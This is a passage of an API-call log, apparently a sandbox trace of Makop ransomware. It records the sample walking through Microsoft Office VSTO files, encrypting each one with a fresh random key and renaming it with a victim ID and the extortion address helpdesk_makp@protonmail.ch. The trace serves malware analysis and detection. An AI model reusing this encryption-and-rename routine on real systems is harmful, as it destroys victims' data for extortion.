hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5e950, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x5e950, lpOverlapped=0x0) returned 1 [0103.139] CryptDestroyKey (hKey=0x48c7168) returned 1 [0103.139] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x5ea24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.139] SetEndOfFile (hFile=0x138) returned 1 [0103.150] GetProcessHeap () returned 0x48a0000 [0103.150] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0103.150] GetProcessHeap () returned 0x48a0000 [0103.150] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0103.150] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 118 [0103.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0103.151] CloseHandle (hObject=0x138) returned 1 [0103.152] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0103.152] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0103.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0103.153] GetProcessHeap () returned 0x48a0000 [0103.154] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0103.154] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0103.154] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0103.154] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0103.158] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0103.158] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.158] GetProcessHeap () returned 0x48a0000 [0103.158] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0103.158] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x6576010*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x6576010*=0x50) returned 1 [0103.158] CryptDestroyKey (hKey=0x48c7168) returned 1 [0103.158] WriteFile (in: hFile=0x138, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x6576028*=0x50, lpOverlapped=0x0) returned 1 [0103.158] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0103.159] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0103.159] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0103.159] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0103.159] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0103.159] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0103.159] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.159] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.159] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbb68, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xbb68, lpOverlapped=0x0) returned 1 [0103.165] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xbb70, dwBufLen=0xbb70 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xbb70) returned 1 [0103.166] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.166] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbb70, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xbb70, lpOverlapped=0x0) returned 1 [0103.166] CryptDestroyKey (hKey=0x48c7168) returned 1 [0103.166] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xbc54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.166] SetEndOfFile (hFile=0x138) returned 1 [0103.174] GetProcessHeap () returned 0x48a0000 [0103.174] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0103.174] GetProcessHeap () returned 0x48a0000 [0103.174] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0103.174] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 127 [0103.174] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0103.177] CloseHandle (hObject=0x138) returned 1 [0103.177] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0103.177] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0103.177] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0103.177] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll") returned 62 [0103.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0103.179] GetProcessHeap () returned 0x48a0000 [0103.179] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0103.179] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0103.179] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0103.179] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0103.183] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0103.183] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.183] GetProcessHeap () returned 0x48a0000 [0103.183] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0103.183] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0103.183] CryptDestroyKey (hKey=0x48c7128) returned 1 [0103.183] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0103.184] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0103.184] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0103.184] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0103.184] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0103.184] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0103.184] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0103.184] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.184] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.185] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2d148, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2d148, lpOverlapped=0x0) returned 1 [0103.188] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d150, dwBufLen=0x2d150 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d150) returned 1 [0103.190] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.190] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2d150, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2d150, lpOverlapped=0x0) returned 1 [0103.193] CryptDestroyKey (hKey=0x48c7128) returned 1 [0103.193] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2d214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.193] SetEndOfFile (hFile=0xf0) returned 1 [0103.203] GetProcessHeap () returned 0x48a0000 [0103.203] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0103.203] GetProcessHeap () returned 0x48a0000 [0103.203] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0103.203] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 109 [0103.203] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0103.210] CloseHandle (hObject=0xf0) returned 1 [0103.210] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0103.210] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb") returned 65 [0103.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0103.211] GetProcessHeap () returned 0x48a0000 [0103.211] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0103.211] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0103.211] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0103.211] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0103.211] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.212] GetProcessHeap () returned 0x48a0000 [0103.212] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0103.212] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0103.212] CryptDestroyKey (hKey=0x48c7128) returned 1 [0103.212] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0103.216] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0103.216] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0103.216] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0103.217] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0103.217] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0103.217] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0103.217] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.217] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.217] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3f50, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3f50, lpOverlapped=0x0) returned 1 [0103.219] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3f50, dwBufLen=0x3f50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3f50) returned 1 [0103.219] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.219] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3f50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3f50, lpOverlapped=0x0) returned 1 [0103.220] CryptDestroyKey (hKey=0x48c7128) returned 1 [0103.220] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.220] SetEndOfFile (hFile=0xf0) returned 1 [0103.227] GetProcessHeap () returned 0x48a0000 [0103.227] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0103.227] GetProcessHeap () returned 0x48a0000 [0103.228] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0103.228] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 112 [0103.228] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0103.229] CloseHandle (hObject=0xf0) returned 1 [0103.230] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0103.230] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb") returned 64 [0103.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0103.232] GetProcessHeap () returned 0x48a0000 [0103.232] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0103.232] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0103.232] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0103.232] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0103.232] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.232] GetProcessHeap () returned 0x48a0000 [0103.232] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0103.232] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0103.232] CryptDestroyKey (hKey=0x48c7128) returned 1 [0103.232] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0103.236] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0103.236] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0103.236] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0103.237] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0103.237] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0103.237] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0103.237] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.237] 